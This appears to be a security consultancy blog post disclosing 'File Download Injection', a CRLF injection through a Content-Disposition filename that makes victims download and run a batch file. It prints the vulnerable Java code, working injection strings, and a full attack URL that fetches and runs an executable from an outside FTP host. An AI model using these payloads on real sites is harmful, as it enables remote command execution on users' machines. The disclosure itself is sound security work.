My boss Jeff Williams came up with something very clever while my company (Aspect Security) was participating in NIST’s Static Analysis Tools Exposition (SATE). Basically, NIST challenged all the major static code analysis vendors to a massive bakeoff sponsored by DHS. Being a consulting company that mainly performs code reviews and penetration tests, we couldn’t stand to sit on the sidelines while our portion of the industry was basically being written off like Dunder Mifflin. So Jeff sent a tongue in cheek letter suggesting that we be allowed to enter. The response from NIST was shockingly responsive – nice to know there’s a part of NIST that I can still trust.
Anyway, in one of the bakeoff test applications, we found a piece of data that was run through a pretty good blacklist before being stuck into a Content-disposition HTTP header. Great – that means header injection! But wait – we can’t do XSS or response splitting because of the characters in the blacklist! What can we do?

The Attack

(Well, in the end we actually did come up with an XSS vector using UTF-7 and some other stuff, but forget about that for now.)

Here’s the Java code that’s vulnerable to HTTP header injection:

response.setContentType(“application/octet-stream”);
response.setHeader(“Content-Disposition”, “attachment; filename=” + request.getParameter(“fn”) );

Jeff’s bright idea: pass in attack.bat%0a%0d%0a%0dwordpad

Let’s look at the layout of the resulting HTTP response when we pass that in:

HTTP/1.1 200 OK
Date: Thu, 27 Mar 2008 05:02:24 GMT
Server: Apache
Set-Cookie: JSESSIONID=E35E52B9472B17666B3A77C19CDCD90E; Path=/download
Content-Disposition: attachment;filename=attack.bat

wordpad
Content-Length: 0
Content-Type: application/octet-stream;charset=euc-k

What’s in red is our attack code. There’s not many special characters and it’s even more deadly than XSS – remote file execution! The user’s browser downloads a file called “attack.bat”, and kicks off a batch file containing whatever commands we want to execute. In the example we just kicked off wordpad. Notice that the remaining HTTP headers are included after our payload, but that doesn’t seem to present any real problem we can think of, especially since we may be able to control the content length and exclude that stuff in most cases. Here’s an example attack string that gets and executes a random executable off the net.

http://[trusted_domain]/download?fn=attack.bat%0d%0a%0d%0aecho%20get%20/pub/winzip/wzinet95.exe|ftp%20-A%20mirror.aarnet.edu.au%0d%0awzinet95.exe

There’s a downside for attackers here though – if you try to kick off any kind of executable file extension, the browser pops up a warning. However, because the link resides on a trusted domain it remains a very effective attack. Response splitting can result in a mass-effect cache poison, but this attack (File Download Injection) is a very non-theoretical, low-tech attack that has a very realistic chance of being exploited (now that the attackers know about it – thanks, Jeff). So, the advice stays the same. Don’t click on anything, ever, despite any promises of getting nudey pictures of Jenna Fischer.

There’s more you can do besides forge a quick batch file too. Some of the extensions get kicked off automatically (no popup warning), like QuickTime’s .mov.  But because this attack is a reflected link attack, the “body” of the file you want the user to download has to be relatively small as the whole thing must be contained in the malicious URL. IE has maximum of 2,083 characters in  a URL, but having a massive URL is a problem more because such a large URL will look suspicious rather than because of any exploitability constraints. With that said – there’s a host of platforms, browsers, and file extensions that have not been tested – so after some research you might find a more deadly extension to use than .bat.

How does this relate to XSS?

The pattern is close – bad input in, bad input out. If bad input ends up in an HTTP header, you can do this. If it ends up in an HTTP response body, you just have XSS. File Download Injection has a higher impact and a lower likelihood than XSS. The impact is easy to calculate – compare the impact of JavaScript injection vs. the impact of remote arbitrary command execution. However, that is balanced by the fact that the likelihood of a user ignoring a pop-up warning lowers the chances of a successful attack. So in the end, I think this will end up rating the same risk as traditional header injection/XSS findings

Even though I think this is a pretty neat addition to the attacker’s toolbelt, Jeff’s release got a resounding thud when he published it on places such as Bugtraq, webappsec mailing list, and others. Maybe in hindsight, publishing during RSA was not the best time. At least Arian Evans said some nice stuff about it, and echoed my sentiments exactly when he said we should stop calling HTTP Header Injection by its least likely attack variant, HTTP Response Splitting. While we’re on that subject, we should also stop calling XSS by its current name – it’s JavaScript injection. What the hell is cross-site scripting, anyway? JSI is just as sexy an acronym as XSS, and it actually makes sense. Until next time!